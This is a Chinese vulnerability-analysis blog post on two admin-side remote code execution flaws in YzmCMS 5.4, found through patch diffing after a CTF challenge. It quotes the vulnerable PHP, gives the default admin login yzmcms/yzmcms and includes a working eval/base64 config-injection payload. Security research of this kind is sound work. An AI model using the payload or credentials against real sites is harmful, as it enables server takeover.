YzmCMS 5.4 后台getshell

2020-02-20 约 430 字 预计阅读 3 分钟

声明:本文 【YzmCMS 5.4 后台getshell】 由作者 Eifiz 于 2020-02-20 08:51:37 首发 先知社区 曾经 浏览数 244 次

感谢 Eifiz 的辛苦付出!

前言

这个CMS是EIS2019的一道题目ezcms,当时没有做出来,本想等wp学习一下,没想到官方wp没有给出这道题的题解,因为该cms还没修复漏洞,结果等到作者后面修复了漏洞发布了5.5版本,出题人也忘记发wp了。

所以决定自己再来分析一下补丁看能不能找到漏洞点。因为这个补丁不只是修复了安全漏洞,而是一次大版本的更新,更新的文件有100多个,更新日志也只是简单提到修复了安全问题,所以我找到的这2个漏洞点不一定包括了所有问题,而且都是后台getshell,仅供大家参考。

另外默认安装后,管理员的用户名密码就是yzmcms/yzmcms

缓存文件写入造成getshell

漏洞分析

发现的第一个问题出现在缓存文件写入函数处,文件为yzmphp/core/class/cache_file.class.php,函数名为_fileputcontents

可以看到,补丁在原先的$contents前拼接了一段<?php exit('NO.'); ?>\n,而如果要进入序列化的代码,需要$this->config['mode']为1,然后就是正常的写入文件。

调用这个函数的是同类下的set函数

public function set($id, $data, $cachelife = 0){
        $cache  = array();
        $cache['contents'] = $data;
        $cache['expire']   = $cachelife === 0 ? 0 : SYS_TIME + $cachelife;
        $cache['mtime']    = SYS_TIME;

        if(!is_dir($this->config['cache_dir'])) {
            @mkdir($this->config['cache_dir'], 0777, true);
        }

        $file = $this->_file($id);

        return $this->_fileputcontents($file, $cache);
    }

而这个类cache_filecache_factory中被实例化。

在文件yzmphp/core/class/cache_factory.class.php中可以看到

public static function get_instance() {
        if(self::$instances==null){
            self::$instances = new self();
            switch(C('cache_type')) {
                case 'file' :
                    yzm_base::load_sys_class('cache_file','',0);
                    self::$class = 'cache_file';
                    self::$config = C('file_config');
                    break;
                case 'redis' : 
                    yzm_base::load_sys_class('cache_redis','',0);
                    self::$class = 'cache_redis';
                    self::$config = C('redis_config');
                    break;
                case 'memcache' : 
                    yzm_base::load_sys_class('cache_memcache','',0);
                    self::$class = 'cache_memcache';
                    self::$config = C('memcache_config');
                    break;
                default :
                    yzm_base::load_sys_class('cache_file','',0);
                    self::$class = 'cache_file';
                    self::$config = C('file_config');
            }
        }

        return self::$instances;
    }

这三个类提供了相同的功能,使用者可以通过配置来选择其中的某一个类,默认配置下便是cache_file类。

而系统中通过cache_factory类来实例化缓存类的函数是在yzmphp/core/function/global.func.php中的setcache

function setcache($name, $data, $timeout=0) {
    yzm_base::load_sys_class('cache_factory','',0);
    $cache = cache_factory::get_instance()->get_cache_instances();
    return $cache->set($name, $data, $timeout);
}

所以传给setcache的第一个参数将作为文件名的一部分(后缀为php),第二个参数将成为文件内容的一部分。缓存配置相同的情况下,文件名路径不变,只要传递的内容可控就可以写入代码从而getshell。

而对setcache的调用有多处,其中有一些是不能用的,因为会过滤尖括号,比如wechaturlrule模块,最后我通过用户自定义配置成功写入代码。

在文件commom/function/system.func.php中有

function get_config($key = ''){
    if(!$configs = getcache('configs')){
        $data = D('config')->where(array('status'=>1))->select();
        $configs = array();
        foreach($data as $val){
            $configs[$val['name']] = $val['value'];
        }
        setcache('configs', $configs);
    }
    if(!$key){
        return $configs;
    }else{
        return array_key_exists($key, $configs) ? $configs[$key] : '';
    }   
}

setcache的第二个参数是从数据库中config表读取的,因此找到一个写入该表的接口,再使得get_config函数被调用即可。调用get_config比较简单,因为这个函数是用于获取配置的,很多地方都用到了,只要刷新页面即可。所以重点是找到可用的写入接口。

在文件application/admin/controller/system_manage.class.php中就有一个可用的接口

public function user_config_add() {
        if(isset($_POST['dosubmit'])){
            $config = D('config');
            $res = $config->where(array('name' => $_POST['name']))->find();
            if($res) return_json(array('status'=>0,'message'=>'配置名称已存在!'));
            if(empty($_POST['value']))  return_json(array('status'=>0,'message'=>'配置值不能为空!'));

            $_POST['type'] = 99;
            if(in_array($_POST['fieldtype'], array('select','radio'))){
                $_POST['setting'] = array2string(explode('|', rtrim($_POST['setting'], '|')));
            }else{
                $_POST['setting'] = '';
            }

            if($config->insert($_POST)){
                delcache('configs');
                return_json(array('status'=>1,'message'=>L('operation_success')));
            }else{
                return_json(array('status'=>0,'message'=>L('data_not_modified')));
            }           
        }
        include $this->admin_tpl('user_config_add');
    }

可以看到post过来的值被直接insert到了config表(如果insert的第二个参数为true则会进行过滤),所以这个接口就可以用于写入代码。

POC

因为安装以后的默认配置中的file_configmode为2,所以在我们发现的第一个函数_fileputcontents中是不会进入序列化代码的阶段,在进行写入以前,我们需要手动修改配置文件common/config/config.php

//缓存类型为file缓存时的配置项
    'file_config'        => array (
        'cache_dir'      => YZMPHP_PATH.'cache/chche_file/',    //缓存文件目录
        'suffix'         => '.cache.php',  //缓存文件后缀
        'mode'           => '1',           //缓存格式:mode 1 为serialize序列化, mode 2 为保存为可执行文件array
    ),

将该处的mode改为1保存即可

然后使用yzmcms/yzmcms登陆后台,来到系统管理的自定义配置处

然后添加配置,写入代码即可。

添加以后去查看缓存文件夹cache/chche_file,可以看到configs.cache.php

直接在浏览器打开

总结

这个洞有一个很明显的问题,就是默认配置下是不可行的,因为补丁也没有对mode为2的情况进行修改,证明那个地方是没有问题,所以这个地方应该不能解决ezcms这道题,而我在试图解决这个问题的时候,发现了修改配置处可以直接getshell,所以作为下一个漏洞分析

保存配置文件造成getshell

漏洞分析

这个cms中有一些配置项是写在文件中,也有一些是写在数据库中的,例如上一个漏洞提到的mode就是写在文件中,而我们的payload是写在数据库中再进行读取的,为了避免上面手动修改配置文件这一过程,我找到了一个函数可以修改配置文件,但是问题是只能对规定的4个key进行修改,所以是不能直接修改mode这个key的。于是我回去查看补丁,发现修改配置的函数也进行了修改。

该函数位于文件application/admin/common/function/function.php

function set_config($config) {
    $configfile = YZMPHP_PATH.'common'.DIRECTORY_SEPARATOR.'config/config.php';
    if(!is_writable($configfile)) showmsg('Please chmod '.$configfile.' to 0777 !', 'stop');
    $pattern = $replacement = array();
    foreach($config as $k=>$v) {
        $pattern[$k] = "/'".$k."'\s*=>\s*([']?)[^']*([']?)(\s*),/is";
        $replacement[$k] = "'".$k."' => \${1}".$v."\${2}\${3},";                    
    }
    $str = file_get_contents($configfile);
    $str = preg_replace($pattern, $replacement, $str);
    return file_put_contents($configfile, $str, LOCK_EX);       
}

可以看到,补丁在原来的函数中增加了一行代码,将传入的$config中的字符,$移除了,而原先就直接经过特定的正则表达式将config.php文件中的内容进行替换后再写回去。

调用这个函数的地方,除了安装的页面就只有application/admin/controller/system_manage.class.php中的save

public function save() {
        yzm_base::load_common('function/function.php', 'admin');
        if(isset($_POST['dosubmit'])){
            if(isset($_POST['mail_inbox']) && $_POST['mail_inbox']){
                if(!is_email($_POST['mail_inbox'])) showmsg(L('mail_format_error'));
            }
            if(isset($_POST['upload_types'])){
                if(empty($_POST['upload_types'])) showmsg('允许上传附件类型不能为空!', 'stop');
            }
            $arr = array();
            $config = D('config');
            foreach($_POST as $key => $value){
                if(in_array($key, array('site_theme','watermark_enable','watermark_name','watermark_position'))) {
                    $value = safe_replace(trim($value));
                    $arr[$key] = $value;
                }else{
                    if($key!='site_code'){
                        $value = htmlspecialchars($value);
                    }
                }
                $config->update(array('value'=>$value), array('name'=>$key));
            }
            set_config($arr);
            delcache('configs');
            showmsg(L('operation_success'), '', 1);
        }
    }

save中,只有key为'site_theme','watermark_enable','watermark_name','watermark_position'的配置项会经过safe_replace后传入set_config,其他项则是直接在数据库中更新。

safe_replace则对一些特殊字符进行了过滤

function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

审计完代码以后我们可以发现post过去的值,只有特定的key会被写入配置文件,而value不能包含safe_replace中的特殊字符,最后value会被拼接成为preg_replace中的第二个参数$replacement的一部分。而在$replacement中用了${1}这样的形式来指定上文匹配到的',虽然{}被过滤了,但是$1实际上是与${1}等价的,因此我们通过这种方式闭合单引号,然后,也没有被过滤,所以我们可以在键值对的后面插入别的代码,可惜的是>是被过滤的,所以我们无法插入key => value这样的形式来修改项。不过可以直接插入函数,像array(0=>1,func())的形式中,func是会被执行的,并且将返回值作为value成为array的一部分。

所以只要闭合了单引号,再传递一个eval过去就可以执行代码了,因为有过滤函数,所以可以再套一层base64。

POC

设置的接口在系统管理的系统设置中的附加设置处。

通过上文的分析我们来构建payload。

system('echo 123');base64_encode以后为c3lzdGVtKCdlY2hvIDEyMycpOw==,套一层eval并且闭合单引号后payload为

$1,eval(base64_decode($1c3lzdGVtKCdlY2hvIDEyMycpOw==$1)),$1

先查看配置文件原先的内容

回到页面,水印图片名称就是可用的一个配置项,在这个地方写入我们的payload并提交。

提交以后可以发现已经成功执行命令了

再回去查看配置文件可以看到代码也写入了

总结

这个洞没有上一个那么鸡肋,只要能进后台就可以用,并且默认密码也算弱口令了,所以如果ezcms采用默认安装,那么这个洞就可以解题了,不过现在没有环境可以用,也无法确定。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now